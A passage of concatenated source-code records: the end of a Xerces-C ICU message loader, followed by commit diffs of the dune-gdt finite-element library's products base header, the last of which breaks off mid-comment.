locationBuf);\n char *nlsHome = getenv(\"XERCESC_NLS_HOME\");\n\n if (nlsHome)\n {\n \tstrcpy(locationBuf, nlsHome);\n strcat(locationBuf, U_FILE_SEP_STRING);\n }\n else\n {\n char *altHome = getenv(\"XERCESCROOT\");\n if (altHome)\n {\n strcpy(locationBuf, altHome);\n strcat(locationBuf, U_FILE_SEP_STRING);\n strcat(locationBuf, \"lib\");\n strcat(locationBuf, U_FILE_SEP_STRING); \n }\n } \n\n strcat(locationBuf, \"XercescErrMsg\");\n\n\t\/***\n\t Open the locale-specific resource bundle\n\t***\/\n UErrorCode err = U_ZERO_ERROR;\n fLocaleBundle = ures_open(locationBuf, XMLMsgLoader::getLocale(), &err);\n if (!U_SUCCESS(err) || fLocaleBundle == NULL)\n {\n XMLPlatformUtils::panic(XMLPlatformUtils::Panic_CantLoadMsgDomain);\n }\n\n\t\/***\n\t Open the domain specific resource bundle within\n\t\tthe locale-specific resource bundle\n\t***\/\n\terr = U_ZERO_ERROR;\n\tfDomainBundle = ures_getByKey(fLocaleBundle, domainName, NULL, &err);\n\n\tif (!U_SUCCESS(err) || fDomainBundle == NULL)\n\t{\n XMLPlatformUtils::panic(XMLPlatformUtils::Panic_CantLoadMsgDomain);\n\t}\n\n}\n\nICUMsgLoader::~ICUMsgLoader()\n{\n ures_close(fDomainBundle);\n ures_close(fLocaleBundle);\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Implementation of the virtual message loader API\n\/\/ ---------------------------------------------------------------------------\nbool ICUMsgLoader::loadMsg( const XMLMsgLoader::XMLMsgId msgToLoad\n , XMLCh* const toFill\n , const unsigned int maxChars)\n{\n UErrorCode err = U_ZERO_ERROR;\n int32_t strLen = 0;\n\n \/\/ Assuming array format\n const UChar *name = ures_getStringByIndex(fDomainBundle, (int32_t)msgToLoad-1, &strLen, &err);\n\n if (!U_SUCCESS(err) || (name == NULL))\n {\n return false;\n }\n\n int retStrLen = strLen > (int32_t)maxChars ? maxChars : strLen;\n\n if (sizeof(UChar)==sizeof(XMLCh))\n {\n XMLString::moveChars(toFill, (XMLCh*)name, retStrLen);\n toFill[retStrLen] = (XMLCh) 0;\n }\n else\n {\n XMLCh* retStr = toFill;\n const UChar *srcPtr = name;\n\n while (retStrLen--)\n *retStr++ = *srcPtr++;\n\n *retStr = 0;\n }\n\n return true;\n}\n\n\nbool ICUMsgLoader::loadMsg( const XMLMsgLoader::XMLMsgId msgToLoad\n , XMLCh* const toFill\n , const unsigned int maxChars\n , const XMLCh* const repText1\n , const XMLCh* const repText2\n , const XMLCh* const repText3\n , const XMLCh* const repText4)\n{\n \/\/ Call the other version to load up the message\n if (!loadMsg(msgToLoad, toFill, maxChars))\n return false;\n\n \/\/ And do the token replacement\n XMLString::replaceTokens(toFill, maxChars, repText1, repText2, repText3, repText4);\n return true;\n}\n\n\nbool ICUMsgLoader::loadMsg( const XMLMsgLoader::XMLMsgId msgToLoad\n , XMLCh* const toFill\n , const unsigned int maxChars\n , const char* const repText1\n , const char* const repText2\n , const char* const repText3\n , const char* const repText4)\n{\n \/\/\n \/\/ Transcode the provided parameters and call the other version,\n \/\/ which will do the replacement work.\n \/\/\n XMLCh* tmp1 = 0;\n XMLCh* tmp2 = 0;\n XMLCh* tmp3 = 0;\n XMLCh* tmp4 = 0;\n\n bool bRet = false;\n if (repText1)\n tmp1 = XMLString::transcode(repText1);\n if (repText2)\n tmp2 = XMLString::transcode(repText2);\n if (repText3)\n tmp3 = XMLString::transcode(repText3);\n if (repText4)\n tmp4 = XMLString::transcode(repText4);\n\n bRet = loadMsg(msgToLoad, toFill, maxChars, tmp1, tmp2, tmp3, tmp4);\n\n if (tmp1)\n delete [] tmp1;\n if (tmp2)\n delete [] tmp2;\n if (tmp3)\n delete [] tmp3;\n if (tmp4)\n delete [] tmp4;\n\n return bRet;\n}\n\nXERCES_CPP_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-gdt project:\n\/\/ http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_PRODUCTS_BASE_HH\n#define DUNE_GDT_PRODUCTS_BASE_HH\n\n#include <dune\/stuff\/grid\/walker.hh>\n\n#include <dune\/gdt\/assembler\/tmp-storage.hh>\n#include <dune\/gdt\/assembler\/local\/codim0.hh>\n\n#include \"interfaces.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Products {\n\n\n\/**\n * \\todo Derive from SystemAssembler, \\see Operators::EllipticG\n *\/\ntemplate <class Traits>\nclass LocalizableBase : public LocalizableProductInterface<Traits>,\n public Stuff::Grid::Functor::Codim0<typename Traits::GridViewType>\n{\n typedef LocalizableProductInterface<Traits> InterfaceType;\n\npublic:\n typedef typename Traits::GridViewType GridViewType;\n typedef typename Traits::RangeType RangeType;\n typedef typename Traits::SourceType SourceType;\n typedef typename Traits::FieldType FieldType;\n\nprivate:\n typedef typename Traits::LocalOperatorType LocalOperatorType;\n typedef TmpStorageProvider::Matrices<FieldType> TmpMatricesProviderType;\n\npublic:\n using typename InterfaceType::EntityType;\n\npublic:\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng, const SourceType& src)\n : grid_view_(grd_vw)\n , range_(rng)\n , source_(src)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , finalized_(false)\n , result_(0)\n {\n }\n\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng)\n : grid_view_(grd_vw)\n , range_(rng)\n , source_(range_)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , finalized_(false)\n , result_(0)\n {\n }\n\n virtual ~LocalizableBase()\n {\n }\n\n const GridViewType& grid_view() const\n {\n return grid_view_;\n }\n\n const RangeType& range() const\n {\n return range_;\n }\n\n const SourceType& source() const\n {\n return source_;\n }\n\nprivate:\n virtual const LocalOperatorType& local_operator() const = 0;\n\npublic:\n virtual void prepare() DS_OVERRIDE\n {\n if (!prepared_) {\n tmp_storage_ = std::unique_ptr<TmpMatricesProviderType>(\n new TmpMatricesProviderType({1, local_operator().numTmpObjectsRequired()}, 1, 1));\n result_ = FieldType(0.0);\n prepared_ = true;\n }\n } \/\/ ... prepare()\n\n FieldType compute_locally(const EntityType& entity)\n {\n assert(prepared_);\n assert(tmp_storage_);\n auto& tmp_storage = tmp_storage_->matrices();\n assert(tmp_storage.size() >= 2);\n assert(tmp_storage[0].size() >= 1);\n auto& local_operator_result = tmp_storage[0][0];\n auto& tmp_matrices = tmp_storage[1];\n \/\/ get the local functions\n const auto local_source_ptr = this->source().local_function(entity);\n const auto local_range_ptr = this->range().local_function(entity);\n \/\/ apply local operator\n local_operator().apply(*local_range_ptr, *local_source_ptr, local_operator_result, tmp_matrices);\n assert(local_operator_result.rows() == 1);\n assert(local_operator_result.cols() == 1);\n return local_operator_result[0][0];\n } \/\/ ... compute_locally(...)\n\n virtual void apply_local(const EntityType& entity) DS_OVERRIDE\n {\n result_ = result_ + compute_locally(entity);\n }\n\n virtual void finalize() DS_OVERRIDE\n {\n if (!finalized_) {\n FieldType tmp = result_;\n result_ = grid_view_.comm().sum(tmp);\n finalized_ = true;\n }\n }\n\n FieldType apply2()\n {\n if (!finalized_) {\n Stuff::Grid::Walker<GridViewType> grid_walker(grid_view_);\n grid_walker.add(*this);\n grid_walker.walk();\n }\n return result_;\n }\n\nprivate:\n const GridViewType& grid_view_;\n const RangeType& range_;\n const SourceType& source_;\n std::unique_ptr<TmpMatricesProviderType> tmp_storage_;\n bool prepared_;\n bool finalized_;\n std::atomic<FieldType> result_;\n}; \/\/ class LocalizableBase\n\n\n\/**\n * \\todo Derive from SystemAssembler, \\see Operators::EllipticG\n *\/\ntemplate <class Traits>\nclass AssemblableBase : public AssemblableProductInterface<Traits>,\n public Stuff::Grid::Functor::Codim0<typename Traits::GridViewType>\n{\n typedef AssemblableProductInterface<Traits> InterfaceType;\n\npublic:\n typedef typename Traits::GridViewType GridViewType;\n typedef typename Traits::RangeSpaceType RangeSpaceType;\n typedef typename Traits::SourceSpaceType SourceSpaceType;\n typedef typename Traits::MatrixType MatrixType;\n\n typedef typename MatrixType::ScalarType FieldType;\n\nprivate:\n typedef TmpStorageProvider::Matrices<FieldType> TmpMatricesProviderType;\n typedef typename Traits::LocalOperatorType LocalOperatorType;\n typedef LocalAssembler::Codim0Matrix<LocalOperatorType> LocalAssemblerType;\n\npublic:\n using typename InterfaceType::EntityType;\n\n using InterfaceType::pattern;\n\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, const GridViewType& grd_vw,\n const SourceSpaceType& src_spc)\n : matrix_(mtrx)\n , range_space_(rng_spc)\n , grid_view_(grd_vw)\n , source_space_(src_spc)\n , local_assembler_(nullptr)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , assembled_(false)\n {\n }\n\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, const GridViewType& grd_vw)\n : matrix_(mtrx)\n , range_space_(rng_spc)\n , grid_view_(grd_vw)\n , source_space_(range_space_)\n , local_assembler_(nullptr)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , assembled_(false)\n {\n }\n\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc)\n : matrix_(mtrx)\n , range_space_(rng_spc)\n , grid_view_(*(range_space_->grid_view()))\n , source_space_(range_space_)\n , local_assembler_(nullptr)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , assembled_(false)\n {\n }\n\n const GridViewType& grid_view() const\n {\n return grid_view_;\n }\n\n const RangeSpaceType& range_space() const\n {\n return range_space_;\n }\n\n const SourceSpaceType& source_space() const\n {\n return source_space_;\n }\n\n MatrixType& matrix()\n {\n return matrix_;\n }\n\n const MatrixType& matrix() const\n {\n return matrix_;\n }\n\nprivate:\n virtual const LocalOperatorType& local_operator() const = 0;\n\npublic:\n virtual void prepare() DS_OVERRIDE\n {\n if (!assembled_ && !prepared_) {\n local_assembler_ = std::unique_ptr<LocalAssemblerType>(new LocalAssemblerType(local_operator()));\n tmp_storage_ = std::unique_ptr<TmpMatricesProviderType>(\n new TmpMatricesProviderType(local_assembler_->numTmpObjectsRequired(),\n range_space_.mapper().maxNumDofs(),\n source_space_.mapper().maxNumDofs()));\n prepared_ = true;\n }\n } \/\/ ... prepare()\n\n virtual void apply_local(const EntityType& entity) DS_OVERRIDE\n {\n assert(prepared_);\n assert(local_assembler_);\n assert(tmp_storage_);\n local_assembler_->assembleLocal(\n range_space_, source_space_, entity, matrix_, tmp_storage_->matrices(), tmp_storage_->indices());\n } \/\/ ... apply_local(...)\n\n void assemble()\n {\n if (!assembled_) {\n Stuff::Grid::Walker<GridViewType> grid_walker(grid_view_);\n grid_walker.add(*this);\n grid_walker.walk();\n assembled_ = true;\n }\n } \/\/ ... assemble()\n\n using InterfaceType::apply2;\n\nprivate:\n MatrixType& matrix_;\n const RangeSpaceType& range_space_;\n const GridViewType& grid_view_;\n const SourceSpaceType& source_space_;\n std::unique_ptr<LocalAssemblerType> local_assembler_;\n std::unique_ptr<TmpMatricesProviderType> tmp_storage_;\n bool prepared_;\n bool assembled_;\n}; \/\/ class AssemblableBase\n\n\n} \/\/ namespace Products\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_PRODUCTS_BASE_HH\n<commit_msg>[products] safer base result summation<commit_after>\/\/ This file is part of the dune-gdt project:\n\/\/ http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_PRODUCTS_BASE_HH\n#define DUNE_GDT_PRODUCTS_BASE_HH\n\n#include <dune\/stuff\/grid\/walker.hh>\n\n#include <dune\/gdt\/assembler\/tmp-storage.hh>\n#include <dune\/gdt\/assembler\/local\/codim0.hh>\n\n#include \"interfaces.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Products {\n\n\n\/**\n * \\todo Derive from SystemAssembler, \\see Operators::EllipticG\n *\/\ntemplate <class Traits>\nclass LocalizableBase : public LocalizableProductInterface<Traits>,\n public Stuff::Grid::Functor::Codim0<typename Traits::GridViewType>\n{\n typedef LocalizableProductInterface<Traits> InterfaceType;\n\npublic:\n typedef typename Traits::GridViewType GridViewType;\n typedef typename Traits::RangeType RangeType;\n typedef typename Traits::SourceType SourceType;\n typedef typename Traits::FieldType FieldType;\n\nprivate:\n typedef typename Traits::LocalOperatorType LocalOperatorType;\n typedef TmpStorageProvider::Matrices<FieldType> TmpMatricesProviderType;\n\npublic:\n using typename InterfaceType::EntityType;\n\npublic:\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng, const SourceType& src)\n : grid_view_(grd_vw)\n , range_(rng)\n , source_(src)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , finalized_(false)\n , result_(0)\n {\n }\n\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng)\n : grid_view_(grd_vw)\n , range_(rng)\n , source_(range_)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , finalized_(false)\n , result_(0)\n {\n }\n\n virtual ~LocalizableBase()\n {\n }\n\n const GridViewType& grid_view() const\n {\n return grid_view_;\n }\n\n const RangeType& range() const\n {\n return range_;\n }\n\n const SourceType& source() const\n {\n return source_;\n }\n\nprivate:\n virtual const LocalOperatorType& local_operator() const = 0;\n\npublic:\n virtual void prepare() DS_OVERRIDE\n {\n if (!prepared_) {\n tmp_storage_ = std::unique_ptr<TmpMatricesProviderType>(\n new TmpMatricesProviderType({1, local_operator().numTmpObjectsRequired()}, 1, 1));\n result_ = FieldType(0.0);\n prepared_ = true;\n }\n } \/\/ ... prepare()\n\n FieldType compute_locally(const EntityType& entity)\n {\n assert(prepared_);\n assert(tmp_storage_);\n auto& tmp_storage = tmp_storage_->matrices();\n assert(tmp_storage.size() >= 2);\n assert(tmp_storage[0].size() >= 1);\n auto& local_operator_result = tmp_storage[0][0];\n auto& tmp_matrices = tmp_storage[1];\n \/\/ get the local functions\n const auto local_source_ptr = this->source().local_function(entity);\n const auto local_range_ptr = this->range().local_function(entity);\n \/\/ apply local operator\n local_operator().apply(*local_range_ptr, *local_source_ptr, local_operator_result, tmp_matrices);\n assert(local_operator_result.rows() == 1);\n assert(local_operator_result.cols() == 1);\n return local_operator_result[0][0];\n } \/\/ ... compute_locally(...)\n\n virtual void apply_local(const EntityType& entity) DS_OVERRIDE\n {\n *result_ += compute_locally(entity);\n }\n\n virtual void finalize() DS_OVERRIDE\n {\n if (!finalized_) {\n FieldType tmp = result_.sum();\n finalized_result_ = grid_view_.comm().sum(tmp);\n finalized_ = true;\n }\n }\n\n FieldType apply2()\n {\n if (!finalized_) {\n Stuff::Grid::Walker<GridViewType> grid_walker(grid_view_);\n grid_walker.add(*this);\n grid_walker.walk();\n }\n return finalized_result_;\n }\n\nprivate:\n const GridViewType& grid_view_;\n const RangeType& range_;\n const SourceType& source_;\n std::unique_ptr<TmpMatricesProviderType> tmp_storage_;\n bool prepared_;\n bool finalized_;\n DS::PerThreadValue<FieldType> result_;\n FieldType finalized_result_;\n}; \/\/ class LocalizableBase\n\n\n\/**\n * \\todo Derive from SystemAssembler, \\see Operators::EllipticG\n *\/\ntemplate <class Traits>\nclass AssemblableBase : public AssemblableProductInterface<Traits>,\n public Stuff::Grid::Functor::Codim0<typename Traits::GridViewType>\n{\n typedef AssemblableProductInterface<Traits> InterfaceType;\n\npublic:\n typedef typename Traits::GridViewType GridViewType;\n typedef typename Traits::RangeSpaceType RangeSpaceType;\n typedef typename Traits::SourceSpaceType SourceSpaceType;\n typedef typename Traits::MatrixType MatrixType;\n\n typedef typename MatrixType::ScalarType FieldType;\n\nprivate:\n typedef TmpStorageProvider::Matrices<FieldType> TmpMatricesProviderType;\n typedef typename Traits::LocalOperatorType LocalOperatorType;\n typedef LocalAssembler::Codim0Matrix<LocalOperatorType> LocalAssemblerType;\n\npublic:\n using typename InterfaceType::EntityType;\n\n using InterfaceType::pattern;\n\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, const GridViewType& grd_vw,\n const SourceSpaceType& src_spc)\n : matrix_(mtrx)\n , range_space_(rng_spc)\n , grid_view_(grd_vw)\n , source_space_(src_spc)\n , local_assembler_(nullptr)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , assembled_(false)\n {\n }\n\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, const GridViewType& grd_vw)\n : matrix_(mtrx)\n , range_space_(rng_spc)\n , grid_view_(grd_vw)\n , source_space_(range_space_)\n , local_assembler_(nullptr)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , assembled_(false)\n {\n }\n\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc)\n : matrix_(mtrx)\n , range_space_(rng_spc)\n , grid_view_(*(range_space_->grid_view()))\n , source_space_(range_space_)\n , local_assembler_(nullptr)\n , tmp_storage_(nullptr)\n , prepared_(false)\n , assembled_(false)\n {\n }\n\n const GridViewType& grid_view() const\n {\n return grid_view_;\n }\n\n const RangeSpaceType& range_space() const\n {\n return range_space_;\n }\n\n const SourceSpaceType& source_space() const\n {\n return source_space_;\n }\n\n MatrixType& matrix()\n {\n return matrix_;\n }\n\n const MatrixType& matrix() const\n {\n return matrix_;\n }\n\nprivate:\n virtual const LocalOperatorType& local_operator() const = 0;\n\npublic:\n virtual void prepare() DS_OVERRIDE\n {\n if (!assembled_ && !prepared_) {\n local_assembler_ = std::unique_ptr<LocalAssemblerType>(new LocalAssemblerType(local_operator()));\n tmp_storage_ = std::unique_ptr<TmpMatricesProviderType>(\n new TmpMatricesProviderType(local_assembler_->numTmpObjectsRequired(),\n range_space_.mapper().maxNumDofs(),\n source_space_.mapper().maxNumDofs()));\n prepared_ = true;\n }\n } \/\/ ... prepare()\n\n virtual void apply_local(const EntityType& entity) DS_OVERRIDE\n {\n assert(prepared_);\n assert(local_assembler_);\n assert(tmp_storage_);\n local_assembler_->assembleLocal(\n range_space_, source_space_, entity, matrix_, tmp_storage_->matrices(), tmp_storage_->indices());\n } \/\/ ... apply_local(...)\n\n void assemble()\n {\n if (!assembled_) {\n Stuff::Grid::Walker<GridViewType> grid_walker(grid_view_);\n grid_walker.add(*this);\n grid_walker.walk();\n assembled_ = true;\n }\n } \/\/ ... assemble()\n\n using InterfaceType::apply2;\n\nprivate:\n MatrixType& matrix_;\n const RangeSpaceType& range_space_;\n const GridViewType& grid_view_;\n const SourceSpaceType& source_space_;\n std::unique_ptr<LocalAssemblerType> local_assembler_;\n std::unique_ptr<TmpMatricesProviderType> tmp_storage_;\n bool prepared_;\n bool assembled_;\n}; \/\/ class AssemblableBase\n\n\n} \/\/ namespace Products\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_PRODUCTS_BASE_HH\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-gdt project:\n\/\/ http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_PRODUCTS_BASE_HH\n#define DUNE_GDT_PRODUCTS_BASE_HH\n\n#include <dune\/stuff\/common\/memory.hh>\n#include <dune\/stuff\/common\/tmp-storage.hh>\n#include <dune\/stuff\/grid\/walker.hh>\n#include <dune\/stuff\/la\/container\/pattern.hh>\n\n#include <dune\/gdt\/assembler\/system.hh>\n\n#include \"interfaces.hh\"\n#include \"base-internal.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Products {\n\n\n\/**\n * \\brief Base class for all localizable products.\n *\n * The purpose of this class is to facilitate the implementation of localizable products (that are based on\n * local operators) by implementing as much as possible. All you have to do is to implement a class\n * LocalOperatorProvider, derived from LocalOperatorProviderBase. See the documentation of\n * \\sa LocalOperatorProviderBase for the requirements of your class, depending on the type of local operator you\n * want to use. We do not use the CRTP machinery here but trust you to implement what is necessarry. Any\n * additional ctor arguments given to LocalizableBase are forwarded to your implementation of\n * LocalOperatorProvider. Static checks of GridViewType, RangeType and SourceType are performed in\n * internal::LocalizableBaseTraits. You can finally implement the product by deriving from this class and\n * providing the appropriate LocalOperatorProvider. To get an idea see \\sa Products::internal::WeightedL2Base in\n * weightedl2-internal.hh for an example of a LocalOperatorProvider and Products::WeightedL2Localizable in\n * weightedl2.hh for an example of the final product.\n * \\note If you want to know about the internal workings of this class, take a look at \\sa\n * internal::LocalizableBaseHelper.\n *\/\ntemplate< class LocalOperatorProvider, class RangeImp, class SourceImp >\nclass LocalizableBase\n : public LocalizableProductInterface< internal::LocalizableBaseTraits< LocalOperatorProvider, RangeImp, SourceImp > >\n , public Stuff::Grid::Walker< typename LocalOperatorProvider::GridViewType >\n{\n typedef LocalizableProductInterface\n < internal::LocalizableBaseTraits< LocalOperatorProvider, RangeImp, SourceImp > > ProductBaseType;\n typedef Stuff::Grid::Walker< typename LocalOperatorProvider::GridViewType > WalkerBaseType;\npublic:\n typedef internal::LocalizableBaseTraits< LocalOperatorProvider, RangeImp, SourceImp > Traits;\n\n typedef typename WalkerBaseType::GridViewType GridViewType;\n typedef typename WalkerBaseType::EntityType EntityType;\n typedef typename WalkerBaseType::IntersectionType IntersectionType;\n typedef typename ProductBaseType::RangeType RangeType;\n typedef typename ProductBaseType::SourceType SourceType;\n typedef typename ProductBaseType::FieldType FieldType;\nprivate:\n typedef internal::LocalizableBaseHelper< LocalOperatorProvider, RangeType, SourceType > HelperType;\n\npublic:\n template< class... Args >\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng, const SourceType& src, Args&& ...args)\n : WalkerBaseType(grd_vw)\n , range_(rng)\n , source_(src)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, local_operators_, range_, source_)\n , walked_(false)\n {}\n\n template< class... Args >\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng, Args&& ...args)\n : WalkerBaseType(grd_vw)\n , range_(rng)\n , source_(rng)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, local_operators_, range_, source_)\n , walked_(false)\n {}\n\n using WalkerBaseType::grid_view;\n\n const RangeType& range() const\n {\n return range_;\n }\n\n const SourceType& source() const\n {\n return source_;\n }\n\n \/**\n * This method can be used to compute a local semi product on one entity, e.g. in the context of error\n * estimation.\n * \\note Calling this method should not alter the result obtained by apply2.\n *\/\n FieldType compute_locally(const EntityType& entity)\n {\n return helper_.compute_locally(entity);\n }\n\n \/**\n * This method can be used to compute a local semi product on one intersection, e.g. in the context of error\n * estimation.\n * \\note Calling this method should not alter the result obtained by apply2.\n *\/\n FieldType compute_locally(const IntersectionType& intersection,\n const EntityType& inside_entity,\n const EntityType& outside_entity)\n {\n return helper_.compute_locally(intersection, inside_entity, outside_entity);\n }\n\n FieldType apply2()\n {\n if (!walked_)\n this->walk();\n return helper_.result();\n } \/\/ ... apply2(...)\n\nprivate:\n const RangeType& range_;\n const SourceType& source_;\n const LocalOperatorProvider local_operators_;\n HelperType helper_;\n bool walked_;\n}; \/\/ class LocalizableBase\n\n\n\/**\n * \\brief Base class for all assembable products.\n *\n * The purpose of this class is to facilitate the implementation of assembable products (that are based on\n * local operators) by implementing as much as possible. All you have to do is to implement a class\n * LocalOperatorProvider, derived from LocalOperatorProviderBase. See the documentation of\n * \\sa LocalOperatorProviderBase for the requirements of your class, depending on the type of local operator you\n * want to use. We do not use the CRTP machinery here but trust you to implement what is necessarry. Any\n * additional ctor arguments given to AssemblableBase are forwarded to your implementation of\n * LocalOperatorProvider. Static checks of MatrixType, RangeSpaceType and SourceSpaceType are performed in\n * internal::AssemblableBaseTraits. You can finally implement the product by deriving from this class and\n * providing the appropriate LocalOperatorProvider. To get an idea see \\sa Products::internal::WeightedL2Base in\n * weightedl2-internal.hh for an example of a LocalOperatorProvider and Products::WeightedL2Assemblable in\n * weightedl2.hh for an example of the final product.\n * \\note If you want to know about the internal workings of this class, take a look at \\sa\n * internal::AssemblableBaseHelper.\n * \\note This class proves an automatic creation of the matrix that is being assembled into. Thus each kind of ctor\n * exists in two variants (one taking a matrix reference, one not). If you provide an external matrix you are\n * responsible for the well being of the matrix:\n * - If this is a sparse matrix it needs to have the correct pattern (can be obtained from this class).\n * - During assemble values are added to the matrix (not set). Thus it should be empty beforehand or you have to\n * know what you are doing!\n *\/\ntemplate< class LocalOperatorProvider, class MatrixImp, class RangeSpaceImp, class SourceSpaceImp >\nclass AssemblableBase\n : DSC::StorageProvider< MatrixImp >\n , public AssemblableProductInterface< internal::AssemblableBaseTraits< LocalOperatorProvider,\n MatrixImp,\n RangeSpaceImp,\n SourceSpaceImp > >\n , public SystemAssembler< RangeSpaceImp, typename LocalOperatorProvider::GridViewType, SourceSpaceImp >\n{\n typedef DSC::StorageProvider< MatrixImp > MatrixProvider;\n typedef AssemblableProductInterface< internal::AssemblableBaseTraits< LocalOperatorProvider,\n MatrixImp,\n RangeSpaceImp,\n SourceSpaceImp > > ProductBaseType;\n typedef SystemAssembler\n < RangeSpaceImp, typename LocalOperatorProvider::GridViewType, SourceSpaceImp > AssemblerBaseType;\n typedef AssemblableBase< LocalOperatorProvider, MatrixImp, RangeSpaceImp, SourceSpaceImp > ThisType;\npublic:\n typedef internal::AssemblableBaseTraits\n < LocalOperatorProvider, MatrixImp, RangeSpaceImp, SourceSpaceImp > Traits;\n typedef typename ProductBaseType::GridViewType GridViewType;\n typedef typename ProductBaseType::RangeSpaceType RangeSpaceType;\n typedef typename ProductBaseType::SourceSpaceType SourceSpaceType;\n typedef typename ProductBaseType::MatrixType MatrixType;\n typedef typename ProductBaseType::FieldType FieldType;\nprivate:\n typedef internal::AssemblableBaseHelper< ThisType, LocalOperatorProvider > HelperType;\n\npublic:\n using ProductBaseType::pattern;\n\n static Stuff::LA::SparsityPatternDefault pattern(const RangeSpaceType& range_space,\n const SourceSpaceType& source_space,\n const GridViewType& grid_view)\n {\n if (LocalOperatorProvider::has_coupling_operator)\n return range_space.compute_face_and_volume_pattern(grid_view, source_space);\n else if (LocalOperatorProvider::has_volume_operator || LocalOperatorProvider::has_boundary_operator)\n return range_space.compute_volume_pattern(grid_view, source_space);\n else\n return Stuff::LA::SparsityPatternDefault();\n }\n\n template< class... Args >\n AssemblableBase(MatrixType& mtrx,\n const RangeSpaceType& rng_spc,\n const GridViewType& grd_vw,\n const SourceSpaceType& src_spc,\n Args&& ...args)\n : MatrixProvider(mtrx)\n , AssemblerBaseType(rng_spc, src_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(const RangeSpaceType& rng_spc,\n const GridViewType& grd_vw,\n const SourceSpaceType& src_spc,\n Args&& ...args)\n : MatrixProvider(new MatrixType(rng_spc.mapper().size(),\n src_spc.mapper().size(),\n pattern(rng_spc, src_spc, grd_vw)))\n , AssemblerBaseType(rng_spc, src_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, const GridViewType& grd_vw, Args&& ...args)\n : MatrixProvider(mtrx)\n , AssemblerBaseType(rng_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(const RangeSpaceType& rng_spc, const GridViewType& grd_vw, Args&& ...args)\n : MatrixProvider(new MatrixType(rng_spc.mapper().size(), rng_spc.mapper().size(), pattern(rng_spc, grd_vw)))\n , AssemblerBaseType(rng_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, Args&& ...args)\n : MatrixProvider(mtrx)\n , AssemblerBaseType(rng_spc)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(const RangeSpaceType& rng_spc, Args&& ...args)\n : MatrixProvider(new MatrixType(rng_spc.mapper().size(), rng_spc.mapper().size(), pattern(rng_spc)))\n , AssemblerBaseType(rng_spc)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n using AssemblerBaseType::grid_view;\n\n const RangeSpaceType& range_space() const\n {\n return AssemblerBaseType::test_space();\n }\n\n const SourceSpaceType& source_space() const\n {\n return AssemblerBaseType::ansatz_space();\n }\n\n MatrixType& matrix()\n {\n return MatrixProvider::storage_access();\n }\n\n const MatrixType& matrix() const\n {\n return MatrixProvider::storage_access();\n }\n\n void assemble()\n {\n if (!assembled_) {\n AssemblerBaseType::assemble();\n assembled_ = true;\n }\n } \/\/ ... assemble()\n\nprivate:\n const LocalOperatorProvider local_operators_;\n HelperType helper_;\n bool assembled_;\n}; \/\/ class AssemblableBase\n\n\n\/**\n * \\brief Base class for all generic products.\n *\n * The purpose of this class is to facilitate the implementation of products that are based on a local operator\n * that is derived from LocalOperator::Codim0Interface by implementing as much as possible. All you have to do is\n * to implement a class LocalOperatorProvider that provides the following in addition to the requirements of \\sa\n * LocalizableBase:\n * - it has to be copyable\n * GenericBase derives from that provided class and forwards any additional ctor arguments to its ctor. 